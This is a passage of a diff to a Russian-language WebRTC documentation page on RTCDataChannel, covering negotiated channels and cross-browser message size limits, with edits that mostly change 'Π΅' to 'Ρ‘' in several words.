-<p>Π—Π°Ρ‚Π΅ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ³Π»Π°ΡΠΎΠ²Π°Ρ‚ΡŒ соСдинСниС, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π²Π΅Π± сСрвСр ΠΈΠ»ΠΈ ΠΈΠ½Ρ‹Π΅ срСдства ΠΊΠΎΠΌΠΌΡƒΠ½ΠΈΠΊΠ°Ρ†ΠΈΠΈ. Π­Ρ‚ΠΎΡ‚ процСсс Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΈΠ³Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠΌΡƒ ΡƒΠ·Π»Ρƒ, Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ собствСнный ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ°Β <code>RTCDataChannel</code> со свойством Β <code>negotiated</code>, установлСнным Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Β <code>true</code>, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ ΠΊΠ°Π½Π°Π»Π°Β {{domxref("RTCDataChannel.id", "id")}}. Π­Ρ‚ΠΎ свяТСт Π΄Π²Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Ρ‚ΠΈΠΏΠ°Β  <code>RTCDataChannelΒ </code>Ρ‡Π΅Ρ€Π΅Π· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ°Β <code>RTCPeerConnection</code>.</p>
+<p>Π—Π°Ρ‚Π΅ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ³Π»Π°ΡΠΎΠ²Π°Ρ‚ΡŒ соСдинСниС, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π²Π΅Π± сСрвСр ΠΈΠ»ΠΈ ΠΈΠ½Ρ‹Π΅ срСдства ΠΊΠΎΠΌΠΌΡƒΠ½ΠΈΠΊΠ°Ρ†ΠΈΠΈ. Π­Ρ‚ΠΎΡ‚ процСсс Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΈΠ³Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠΌΡƒ ΡƒΠ·Π»Ρƒ, Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ собствСнный ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ°Β <code>RTCDataChannel</code> со свойством Β <code>negotiated</code>, установлСнным Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Β <code>true</code>, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ ΠΊΠ°Π½Π°Π»Π°Β {{domxref("RTCDataChannel.id", "id")}}. Π­Ρ‚ΠΎ свяТСт Π΄Π²Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Ρ‚ΠΈΠΏΠ°Β  <code>RTCDataChannelΒ </code>Ρ‡Π΅Ρ€Π΅Π· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ°Β <code>RTCPeerConnection</code>.</p>
<pre class="brush: js">let dataChannel = pc.createDataChannel("MyApp Channel", {
negotiated: true
@@ -51,7 +51,7 @@ dataChannel.addEventListener("open", (event) =&gt; {
requestRemoteChannel(dataChannel.id);</pre>
-<p>Π’ Π΄Π°Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΊΠ°Π½Π°Π» создаСтся установкой значСния свойства <code>negotiated</code>Β Π²Β <code>true</code>, Π·Π°Ρ‚Π΅ΠΌ вызываСтся функция  <code>requestRemoteChannel()</code>Β , запуская согласованиС соСдинСния для создания ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΠΊΠ°Π½Π°Π»Π° с Ρ‚Π΅ΠΌ ΠΆΠ΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠΌ ΠΊΠ°ΠΊ Ρƒ локального ΠΊΠ°Π½Π°Π»Π°. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ созданиС ΠΊΠ°Π½Π°Π»ΠΎΠ² Π΄Π°Π½Π½Ρ‹Ρ… позволяСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ свойства, создавая ΠΈΡ… Π΄Π΅ΠΊΠ»Π°Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΎ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎΠΆΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π° ΠΊΠ°Π½Π°Π»Π°Β Β <code>id</code>.</p>
+<p>Π’ Π΄Π°Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΊΠ°Π½Π°Π» создаётся установкой значСния свойства <code>negotiated</code>Β Π²Β <code>true</code>, Π·Π°Ρ‚Π΅ΠΌ вызываСтся функция  <code>requestRemoteChannel()</code>Β , запуская согласованиС соСдинСния для создания ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΊΠ°Π½Π°Π»Π° с Ρ‚Π΅ΠΌ ΠΆΠ΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠΌ ΠΊΠ°ΠΊ Ρƒ локального ΠΊΠ°Π½Π°Π»Π°. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ созданиС ΠΊΠ°Π½Π°Π»ΠΎΠ² Π΄Π°Π½Π½Ρ‹Ρ… позволяСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ свойства, создавая ΠΈΡ… Π΄Π΅ΠΊΠ»Π°Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΎ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎΠΆΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π° ΠΊΠ°Π½Π°Π»Π°Β Β <code>id</code>.</p>
<h2 id="БуфСризация">БуфСризация</h2>
@@ -63,11 +63,11 @@ requestRemoteChannel(dataChannel.id);</pre>
<h2 id="ΠžΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΡ_Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ²_сообщСний">ΠžΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΡ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² сообщСний</h2>
-<p>Для Π»ΡŽΠ±Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…, ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹Ρ… ΠΏΠΎ сСти, ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ ограничСния ΠΏΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρƒ. На Ρ„ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΠΎΠΌ ΡƒΡ€ΠΎΠ²Π½Π΅ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ сСтСвыС ΠΏΠ°ΠΊΠ΅Ρ‚Ρ‹ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ большС ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ значСния (Ρ‚ΠΎΡ‡Π½ΠΎΠ΅ число зависит ΠΎΡ‚ сСти ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠ³ΠΎ транспортного уровня).  На ΡƒΡ€ΠΎΠ²Π½Π΅ прилоТСния, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… {{Glossary("user agent", "user agent's")}} рСализация WebRTC, Π²Β ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ваш ΠΊΠΎΠ΄, Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ сообщСний, Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΏΡ€Π΅Π²Ρ‹ΡˆΠ°Π΅Ρ‚ ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΏΠ°ΠΊΠ΅Ρ‚Π° Π½Π° транспортном ΡƒΡ€ΠΎΠ²Π½Π΅ сСти.</p>
+<p>Для Π»ΡŽΠ±Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…, ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹Ρ… ΠΏΠΎ сСти, ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ ограничСния ΠΏΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρƒ. На Ρ„ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΠΎΠΌ ΡƒΡ€ΠΎΠ²Π½Π΅ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ сСтСвыС ΠΏΠ°ΠΊΠ΅Ρ‚Ρ‹ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ большС ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ значСния (Ρ‚ΠΎΡ‡Π½ΠΎΠ΅ число зависит ΠΎΡ‚ сСти ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠ³ΠΎ транспортного уровня).  На ΡƒΡ€ΠΎΠ²Π½Π΅ прилоТСния, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… {{Glossary("user agent", "user agent's")}} рСализация WebRTC, Π²Β ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ваш ΠΊΠΎΠ΄, Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ сообщСний, Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΏΡ€Π΅Π²Ρ‹ΡˆΠ°Π΅Ρ‚ ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΏΠ°ΠΊΠ΅Ρ‚Π° Π½Π° транспортном ΡƒΡ€ΠΎΠ²Π½Π΅ сСти.</p>
-<p>Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΡΠ»ΠΎΠΆΠ½ΠΈΡ‚ΡŒ ΡΠΈΡ‚ΡƒΠ°Ρ†ΠΈΡŽ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π²Ρ‹ Π½Π΅Β Π·Π½Π°Π΅Ρ‚Π΅, ΠΊΠ°ΠΊΠΎΠ²Ρ‹ ограничСния ΠΏΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρƒ для Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… Π°Π³Π΅Π½Ρ‚ΠΎΠ² ΠΈ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ Ρ€Π΅Π°Π³ΠΈΡ€ΡƒΡŽΡ‚ Π½Π° ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΡƒ ΠΈΠ»ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ сообщСния большСго Ρ€Π°Π·ΠΌΠ΅Ρ€Π°.Β Π”Π°ΠΆΠ΅ ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ Π°Π³Π΅Π½Ρ‚Ρ‹ совмСстно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΠΎΠ΄Π½Ρƒ ΠΈ Ρ‚Ρƒ ΠΆΠ΅ Π±Π°Π·ΠΎΠ²ΡƒΡŽ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° управлСния ΠΏΠΎΡ‚ΠΎΠΊΠΎΠΌ (SCTP), ΠΌΠΎΠ³ΡƒΡ‚ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ различия Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°. НапримСр, ΠΈ Firefox, ΠΈ Google Chrome ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ <code>usrsctp</code> для Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ SCTP, Π½ΠΎ всС Π΅Ρ‰Π΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ ситуации, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π° Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΠΎ <code>RTCDataChannel</code>Β ΠΊΠ°Π½Π°Π»Ρƒ ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡŒΡΡ сбоСм ΠΈΠ·-Π·Π° Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΠΉ Π² Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‚ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ ΠΈ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚Β ΠΎΡˆΠΈΠ±ΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½Π° Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚.</p>
+<p>Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΡΠ»ΠΎΠΆΠ½ΠΈΡ‚ΡŒ ΡΠΈΡ‚ΡƒΠ°Ρ†ΠΈΡŽ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π²Ρ‹ Π½Π΅Β Π·Π½Π°Π΅Ρ‚Π΅, ΠΊΠ°ΠΊΠΎΠ²Ρ‹ ограничСния ΠΏΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρƒ для Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… Π°Π³Π΅Π½Ρ‚ΠΎΠ² ΠΈ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ Ρ€Π΅Π°Π³ΠΈΡ€ΡƒΡŽΡ‚ Π½Π° ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΡƒ ΠΈΠ»ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ сообщСния большСго Ρ€Π°Π·ΠΌΠ΅Ρ€Π°.Β Π”Π°ΠΆΠ΅ ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ Π°Π³Π΅Π½Ρ‚Ρ‹ совмСстно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΠΎΠ΄Π½Ρƒ ΠΈ Ρ‚Ρƒ ΠΆΠ΅ Π±Π°Π·ΠΎΠ²ΡƒΡŽ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° управлСния ΠΏΠΎΡ‚ΠΎΠΊΠΎΠΌ (SCTP), ΠΌΠΎΠ³ΡƒΡ‚ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ различия Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°. НапримСр, ΠΈ Firefox, ΠΈ Google Chrome ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ <code>usrsctp</code> для Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ SCTP, Π½ΠΎ всС Π΅Ρ‰Ρ‘ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ ситуации, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π° Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΠΎ <code>RTCDataChannel</code>Β ΠΊΠ°Π½Π°Π»Ρƒ ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡŒΡΡ сбоСм ΠΈΠ·-Π·Π° Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΠΉ Π² Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‚ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ ΠΈ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚Β ΠΎΡˆΠΈΠ±ΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½Π° Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚.</p>
-<p>Когда Π΄Π²Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠ΅ Firefox, ΠΎΠ±ΠΌΠ΅Π½ΠΈΠ²Π°ΡŽΡ‚ΡΡ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΏΠΎ ΠΊΠ°Π½Π°Π»Ρƒ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° сообщСния Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ большС, Ρ‡Π΅ΠΌ ΠΊΠΎΠ³Π΄Π° Firefox ΠΈ Chrome ΠΎΠ±ΠΌΠ΅Π½ΠΈΠ²Π°ΡŽΡ‚ΡΡ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Firefox Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΡƒΡŽ Ρ‚Π΅Ρ…Π½ΠΈΠΊΡƒ для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Π±ΠΎΠ»ΡŒΡˆΠΈΡ… сообщСний Π² Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… сообщСниях SCTP, Ρ‡Π΅Π³ΠΎ Π½Π΅Ρ‚ Π² Chrome. ВмСсто этого Chrome ΡƒΠ²ΠΈΠ΄ΠΈΡ‚ ΡΠ΅Ρ€ΠΈΡŽ сообщСний, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½ считаСт Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π½Ρ‹ΠΌΠΈ, ΠΈ доставит ΠΈΡ… ΠΏΠΎΠ»ΡƒΡ‡Π°ΡŽΡ‰Π΅ΠΌΡƒ <code>RTCDataChannel</code>Β ΠΊΠ°Π½Π°Π»Ρƒ Π² Π²ΠΈΠ΄Π΅ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… сообщСний</p>
+<p>Когда Π΄Π²Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠ΅ Firefox, ΠΎΠ±ΠΌΠ΅Π½ΠΈΠ²Π°ΡŽΡ‚ΡΡ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΏΠΎ ΠΊΠ°Π½Π°Π»Ρƒ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° сообщСния Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ большС, Ρ‡Π΅ΠΌ ΠΊΠΎΠ³Π΄Π° Firefox ΠΈ Chrome ΠΎΠ±ΠΌΠ΅Π½ΠΈΠ²Π°ΡŽΡ‚ΡΡ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Firefox Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΡƒΡŽ Ρ‚Π΅Ρ…Π½ΠΈΠΊΡƒ для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Π±ΠΎΠ»ΡŒΡˆΠΈΡ… сообщСний Π² Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… сообщСниях SCTP, Ρ‡Π΅Π³ΠΎ Π½Π΅Ρ‚ Π² Chrome. ВмСсто этого Chrome ΡƒΠ²ΠΈΠ΄ΠΈΡ‚ ΡΠ΅Ρ€ΠΈΡŽ сообщСний, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½ считаСт Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½Π½Ρ‹ΠΌΠΈ, ΠΈ доставит ΠΈΡ… ΠΏΠΎΠ»ΡƒΡ‡Π°ΡŽΡ‰Π΅ΠΌΡƒ <code>RTCDataChannel</code>Β ΠΊΠ°Π½Π°Π»Ρƒ Π² Π²ΠΈΠ΄Π΅ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… сообщСний</p>
<p>БообщСния Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ ΠΌΠ΅Π½Π΅Π΅ 16 ΠšΠ‘ ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒΡΡ Π±Π΅Π· ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ всС основныС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ Π°Π³Π΅Π½Ρ‚Ρ‹ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ ΠΈΡ… ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ.</p>
@@ -77,9 +77,9 @@ requestRemoteChannel(dataChannel.id);</pre>
<p>Π’ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ ΠΈΡ‚ΠΎΠ³Π΅ это стало ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ.Β Π‘ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ прилоТСния (Π² Ρ‚ΠΎΠΌ числС Π²Π½Π΅Π΄Ρ€ΡΡŽΡ‰ΠΈΠ΅ WebRTC) Π½Π°Ρ‡Π°Π»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ SCTP для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π±ΠΎΠ»ΡŒΡˆΠΈΡ… ΠΈ Π±ΠΎΠ»ΡŒΡˆΠΈΡ… сообщСний.Β Π’ ΠΊΠΎΠ½Ρ†Π΅ ΠΊΠΎΠ½Ρ†ΠΎΠ² стало ясно, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ³Π΄Π° сообщСния становятся слишком большими, ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π° большого сообщСния ΠΌΠΎΠΆΠ΅Ρ‚ Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ всС Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π΄Π°Π½Π½Ρ‹Ρ… Π² этом ΠΊΠ°Π½Π°Π»Π΅ Π΄Π°Π½Π½Ρ‹Ρ…, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ критичСскиС сообщСния сигнализации.</p>
-<p>Π­Ρ‚ΠΎ станСт ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ, ΠΊΠΎΠ³Π΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ стандарт ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Π±ΠΎΠ»ΡŒΡˆΠΈΡ… сообщСний - Ρ„Π»Π°Π³ ΠΊΠΎΠ½Ρ†Π° записи (EOR), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π° сообщСниС являСтся послСдним Π² сСрии, 